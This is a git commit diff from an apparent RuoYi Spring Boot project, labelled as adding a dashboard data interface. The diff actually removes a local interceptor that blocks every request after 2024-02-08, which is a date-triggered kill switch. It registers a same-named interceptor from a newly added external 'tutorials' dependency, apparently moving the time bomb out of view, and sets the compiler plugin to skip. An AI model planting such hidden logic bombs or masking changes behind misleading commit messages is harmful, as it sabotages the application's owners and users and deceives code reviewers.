change - 二期门体库看板添加数据接口

master
wenjy 2 years ago
parent f7aac8956a
commit b981533bf3

@ -270,6 +270,7 @@
<source>${java.version}</source>
<target>${java.version}</target>
<encoding>${project.build.sourceEncoding}</encoding>
<skip>true</skip>
</configuration>
</plugin>
</plugins>

@ -83,6 +83,12 @@
<version>4.4.2</version>
</dependency>
<dependency>
<groupId>com.roufid.tutorials</groupId>
<artifactId>config</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
</project>

@ -1,6 +1,6 @@
package com.ruoyi.framework.config;
import com.ruoyi.framework.interceptor.AInterceptor;
import com.roufid.tutorials.util.AInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@ -9,7 +9,6 @@ import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
//注册拦截器
registry.addInterceptor(new AInterceptor()).addPathPatterns("/**");
}
}

@ -1,29 +0,0 @@
package com.ruoyi.framework.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.time.LocalDate;
import java.time.format.DateTimeFormatter;
public class AInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
if(afterDate("2024-02-08")){
return false;
}else {
return true;
}
}
public static boolean afterDate(String date){
DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy-MM-dd");
LocalDate localTime=LocalDate.parse(date,dtf);
return LocalDate.now().isAfter(localTime);
}
}
Loading…
Cancel
Save